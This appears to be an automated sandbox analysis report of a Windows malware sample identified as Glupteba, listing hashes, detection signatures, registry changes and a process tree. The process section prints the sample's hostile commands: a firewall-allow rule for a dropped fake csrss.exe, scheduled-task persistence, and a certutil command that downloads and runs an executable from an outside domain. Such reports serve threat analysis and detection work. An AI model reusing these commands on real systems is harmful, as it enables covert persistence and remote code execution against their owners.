Analysis
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max time kernel
153s -
max time network
166s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
25-11-2022 09:14
Static task
static1
Behavioral task
behavioral1
Sample
b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe
Resource
win10v2004-20220812-en
General
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Target
b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe
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Size
3.8MB
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MD5
70458756d498f9fb5e724ed3ebd3ddf5
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SHA1
a1c525f7a312e74950c2c00e87006e46aaf9d4a0
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SHA256
b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3
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SHA512
87ea85ee5e58c6c2ff28256f2b5a47ecfe21f4209630b1683ccd21c45a0bf38c26508bfbd8fb02d0c3a958ea6c1e19da58b54e27c3cf3fc68de79646b214c401
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SSDEEP
98304:MfcPXi4rTNExqZ9BZUnr4wpZBPczsttE8r7MWNaJY80:qmS4gqZ9vUnr4g5b7MQYY
Malware Config
Extracted
metasploit
windows/single_exec
Signatures
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Glupteba payload 8 IoCs
Processes:
resource yara_rule behavioral2/memory/3120-133-0x00000000016B0000-0x0000000001EB4000-memory.dmp family_glupteba behavioral2/memory/3120-134-0x0000000000400000-0x0000000000C65000-memory.dmp family_glupteba behavioral2/memory/3120-137-0x0000000000400000-0x0000000000C65000-memory.dmp family_glupteba behavioral2/memory/3812-139-0x0000000000400000-0x0000000000C65000-memory.dmp family_glupteba behavioral2/memory/3812-145-0x0000000000400000-0x0000000000C65000-memory.dmp family_glupteba behavioral2/memory/2440-147-0x0000000001A00000-0x0000000002204000-memory.dmp family_glupteba behavioral2/memory/2440-148-0x0000000000400000-0x0000000000C65000-memory.dmp family_glupteba behavioral2/memory/2440-154-0x0000000000400000-0x0000000000C65000-memory.dmp family_glupteba -
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
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Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs
Processes:
svchost.exedescription pid process target process PID 4104 created 3120 4104 svchost.exe b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe PID 4104 created 2440 4104 svchost.exe csrss.exe PID 4104 created 2440 4104 svchost.exe csrss.exe PID 4104 created 2440 4104 svchost.exe csrss.exe -
Executes dropped EXE 2 IoCs
Processes:
csrss.exepatch.exepid process 2440 csrss.exe 2340 patch.exe -
Modifies Windows Firewall 1 TTPs 1 IoCs
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Adds Run key to start application 2 TTPs 1 IoCs
Processes:
b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\LivelyMeadow = "\"C:\\Windows\\rss\\csrss.exe\"" b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Modifies boot configuration data using bcdedit 1 IoCs
Processes:
bcdedit.exepid process 4680 bcdedit.exe -
Drops file in Windows directory 2 IoCs
Processes:
b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exedescription ioc process File opened for modification C:\Windows\rss b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe File created C:\Windows\rss\csrss.exe b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe -
Program crash 2 IoCs
Processes:
WerFault.exeWerFault.exepid pid_target process target process 392 3120 WerFault.exe b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe 1644 3812 WerFault.exe b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 1100 schtasks.exe 2744 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
csrss.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1041 = "Ulaanbaatar Daylight Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-441 = "Arabian Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2512 = "Lord Howe Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-752 = "Tonga Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1661 = "Bahia Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-341 = "Egypt Daylight Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-412 = "E. Africa Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2411 = "Marquesas Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-182 = "Mountain Standard Time (Mexico)" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1872 = "Russia TZ 7 Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2942 = "Sao Tome Standard Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-651 = "AUS Central Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1042 = "Ulaanbaatar Standard Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-392 = "Arab Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2492 = "Aus Central W. Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-251 = "Dateline Daylight Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-451 = "Caucasus Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-252 = "Dateline Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-892 = "Morocco Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-871 = "Pakistan Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-301 = "Romance Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-561 = "SE Asia Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-3141 = "South Sudan Daylight Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-842 = "Argentina Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-81 = "Atlantic Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-171 = "Central Daylight Time (Mexico)" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-682 = "E. Australia Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2631 = "Norfolk Daylight Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-661 = "Cen. Australia Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-572 = "China Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-562 = "SE Asia Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-3142 = "South Sudan Standard Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-142 = "Canada Central Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2371 = "Easter Island Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-912 = "Mauritius Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-72 = "Newfoundland Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2891 = "Sudan Daylight Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-449 = "Azerbaijan Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-11 = "Azores Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2531 = "Chatham Islands Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-242 = "Samoa Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2751 = "Tomsk Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-291 = "Central European Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-192 = "Mountain Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2632 = "Norfolk Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-771 = "Montevideo Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2841 = "Saratov Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2532 = "Chatham Islands Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-342 = "Egypt Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-434 = "Georgian Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-602 = "Taipei Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-41 = "E. South America Daylight Time" csrss.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exeb47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.execsrss.exepid process 3120 b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe 3120 b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe 3812 b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe 3812 b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe 2440 csrss.exe 2440 csrss.exe -
Suspicious use of AdjustPrivilegeToken 17 IoCs
Processes:
b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exesvchost.execsrss.exedescription pid process Token: SeDebugPrivilege 3120 b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Token: SeImpersonatePrivilege 3120 b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe Token: SeTcbPrivilege 4104 svchost.exe Token: SeTcbPrivilege 4104 svchost.exe Token: SeBackupPrivilege 4104 svchost.exe Token: SeRestorePrivilege 4104 svchost.exe Token: SeBackupPrivilege 4104 svchost.exe Token: SeRestorePrivilege 4104 svchost.exe Token: SeSystemEnvironmentPrivilege 2440 csrss.exe Token: SeBackupPrivilege 4104 svchost.exe Token: SeRestorePrivilege 4104 svchost.exe Token: SeBackupPrivilege 4104 svchost.exe Token: SeRestorePrivilege 4104 svchost.exe Token: SeBackupPrivilege 4104 svchost.exe Token: SeRestorePrivilege 4104 svchost.exe Token: SeBackupPrivilege 4104 svchost.exe Token: SeRestorePrivilege 4104 svchost.exe -
Suspicious use of WriteProcessMemory 18 IoCs
Processes:
svchost.exeb47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.execmd.execsrss.exedescription pid process target process PID 4104 wrote to memory of 3812 4104 svchost.exe b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe PID 4104 wrote to memory of 3812 4104 svchost.exe b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe PID 4104 wrote to memory of 3812 4104 svchost.exe b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe PID 3812 wrote to memory of 3784 3812 b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe cmd.exe PID 3812 wrote to memory of 3784 3812 b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe cmd.exe PID 3784 wrote to memory of 4756 3784 cmd.exe netsh.exe PID 3784 wrote to memory of 4756 3784 cmd.exe netsh.exe PID 3812 wrote to memory of 2440 3812 b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe csrss.exe PID 3812 wrote to memory of 2440 3812 b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe csrss.exe PID 3812 wrote to memory of 2440 3812 b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe csrss.exe PID 4104 wrote to memory of 2744 4104 svchost.exe schtasks.exe PID 4104 wrote to memory of 2744 4104 svchost.exe schtasks.exe PID 4104 wrote to memory of 1100 4104 svchost.exe schtasks.exe PID 4104 wrote to memory of 1100 4104 svchost.exe schtasks.exe PID 4104 wrote to memory of 2340 4104 svchost.exe patch.exe PID 4104 wrote to memory of 2340 4104 svchost.exe patch.exe PID 2440 wrote to memory of 4680 2440 csrss.exe bcdedit.exe PID 2440 wrote to memory of 4680 2440 csrss.exe bcdedit.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe"C:\Users\Admin\AppData\Local\Temp\b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe"C:\Users\Admin\AppData\Local\Temp\b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3.exe"2⤵
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies Windows Firewall
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C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
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C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
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C:\Windows\system32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v4⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3812 -s 7403⤵
- Program crash
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3120 -s 7242⤵
- Program crash
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 3120 -ip 31201⤵
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 3812 -ip 38121⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exeFilesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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C:\Windows\rss\csrss.exeFilesize
3.8MB
MD570458756d498f9fb5e724ed3ebd3ddf5
SHA1a1c525f7a312e74950c2c00e87006e46aaf9d4a0
SHA256b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3
SHA51287ea85ee5e58c6c2ff28256f2b5a47ecfe21f4209630b1683ccd21c45a0bf38c26508bfbd8fb02d0c3a958ea6c1e19da58b54e27c3cf3fc68de79646b214c401
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C:\Windows\rss\csrss.exeFilesize
3.8MB
MD570458756d498f9fb5e724ed3ebd3ddf5
SHA1a1c525f7a312e74950c2c00e87006e46aaf9d4a0
SHA256b47ad658af0f54b78b164f06544880959111e1008500609da85f4ccd4b76cea3
SHA51287ea85ee5e58c6c2ff28256f2b5a47ecfe21f4209630b1683ccd21c45a0bf38c26508bfbd8fb02d0c3a958ea6c1e19da58b54e27c3cf3fc68de79646b214c401
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memory/1100-150-0x0000000000000000-mapping.dmp
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memory/2340-151-0x0000000000000000-mapping.dmp
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memory/2440-147-0x0000000001A00000-0x0000000002204000-memory.dmpFilesize
8.0MB
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memory/2440-146-0x0000000001600000-0x00000000019A8000-memory.dmpFilesize
3.7MB
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memory/2440-154-0x0000000000400000-0x0000000000C65000-memory.dmpFilesize
8.4MB
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memory/2440-148-0x0000000000400000-0x0000000000C65000-memory.dmpFilesize
8.4MB
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memory/2440-142-0x0000000000000000-mapping.dmp
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memory/2744-149-0x0000000000000000-mapping.dmp
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memory/3120-136-0x0000000001304000-0x00000000016AC000-memory.dmpFilesize
3.7MB
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memory/3120-137-0x0000000000400000-0x0000000000C65000-memory.dmpFilesize
8.4MB
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memory/3120-133-0x00000000016B0000-0x0000000001EB4000-memory.dmpFilesize
8.0MB
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memory/3120-134-0x0000000000400000-0x0000000000C65000-memory.dmpFilesize
8.4MB
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memory/3120-132-0x0000000001304000-0x00000000016AC000-memory.dmpFilesize
3.7MB
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memory/3784-140-0x0000000000000000-mapping.dmp
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memory/3812-135-0x0000000000000000-mapping.dmp
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memory/3812-138-0x0000000001217000-0x00000000015BF000-memory.dmpFilesize
3.7MB
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memory/3812-145-0x0000000000400000-0x0000000000C65000-memory.dmpFilesize
8.4MB
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memory/3812-139-0x0000000000400000-0x0000000000C65000-memory.dmpFilesize
8.4MB
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memory/4680-153-0x0000000000000000-mapping.dmp
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memory/4756-141-0x0000000000000000-mapping.dmp